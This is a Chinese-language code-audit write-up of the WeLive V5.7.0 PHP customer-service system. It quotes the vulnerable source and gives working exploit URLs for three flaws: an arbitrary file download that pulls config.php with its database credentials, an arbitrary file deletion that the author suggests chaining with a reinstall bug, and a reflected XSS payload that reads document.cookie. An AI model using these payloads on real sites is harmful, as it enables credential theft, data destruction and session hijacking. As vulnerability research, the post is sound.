前言
最近在学习php和代码审计,学习了很多前辈的文章。今天通过一次小型cms的实战也算是对自己这几天的一个圆满交代吧。
本次的目标是一款基于PHP开发的在线客服系统:WeLive V5.7.0
程序目录结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| ├── 安装及使用说明_WeLive在线客服系统.txt ├── admin(后台) ├── app ├── avatar(头像目录) ├── config(配置文件) ├── includes(类文件) ├── robots.txt ├── install(安装目录) ├── language(语言包) ├── mobile(移动端) ├── public(公共文件) ├── upload(上传文件和图像) ├── welive2618.php ├── welive_ajax.php
|
任意文件下载
首先根据敏感函数回溯参数是否可控找到了一处参数可控的readfile函数。定位功能点:welive/admin/controllers/database.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| public function ajax(){ $action = ForceStringFrom('action');
//下载数据库备份文件时, 伪装成ajax不输出页头等 if($action == 'download'){ //下载权限验证 if(!$this->CheckAccess()){ header("Content-type: text/html; charset=utf-8"); die('<script type="text/javascript">alert("您没有权限下载数据库备份文件!");history.back();</script>'); }
$filename = ForceStringFrom('file');
if (file_exists($this->backupDir . $filename)){ header('Pragma: public'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Content-Type: application/force-download'); header('Content-Type: application/octet-stream'); header('Content-Type: application/download'); header('Content-Disposition: attachment; filename="'.$filename.'"'); header('Content-Transfer-Encoding: binary'); readfile($this->backupDir . $filename); exit(); }else{ header("Content-type: text/html; charset=utf-8"); die('<script type="text/javascript">alert("提定下载的文件 ' . $filename . ' 不存在!");history.back();</script>'); }
|
首先判断操作是否为download,接着调用CheckAccess方法验证权限,然后用readfile函数输出文件,这里直接拼接路径没有做任何处理导致可以下载任意文件。// 函数调用为:readfile(‘根目录/config’.$filename)
构造下载config/config数据库配置文件
http://127.0.0.1/welive/admin/index.php?c=database&a=ajax&action=download&file=./config.php
任意文件删除
同下载原理,定位功能点代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| elseif($action == 'delete'){ //ajax权限验证 if(!$this->CheckAccess()){ $this->ajax['s'] = 0; //ajax操作失败 $this->ajax['i'] = '您没有权限删除数据库备份文件!'; die($this->json->encode($this->ajax)); }
$filename = ForceStringFrom('file');
if(@unlink($this->backupDir . $filename)){ //无动作 }else{ $this->ajax['s'] = 0; //ajax操作失败 $this->ajax['i'] = '无法删除数据库备份文件! 文件夹不可写或文件不存在.'; }
|
这里直接接收post的file为filename,直接使用unlink拼接文件名删除,值得一提的是这里可以通过删除config/config.php配置文件搭配重装漏洞进行进一步的漏洞利用。
反射XSS
首先进入根目录下的kefu.php,这里直接访问会拒绝访问,需要传入一个参数a值为 621276866,具体的代码如下
1 2 3 4
| $a = 0; if(isset($_GET['a'])) $a = intval($_GET['a']);
if($a !== 621276866) die('Access denied.'); //简单地防止直接访问当前文件
|
输入之后跳转到onlien.php,继续审计此文件
可以看到这里直接将get的内容输出,没有进行任何过滤,不过要注意,这里输出的内容是在script标签中的js代码里,可以确认一下输出点。
Payload:
1
| http://127.0.0.1/welive/online.php?a=621276866&gid=&fn=&r=0.5440381324828616&url=aHR0cDovLzEyNy4wLjAuMS93ZWxpdmUva2VmdS5waHA/YT02MjEyNzY4NjY=&d=123123%22;(function(){%20alert(document.cookie)})();//
|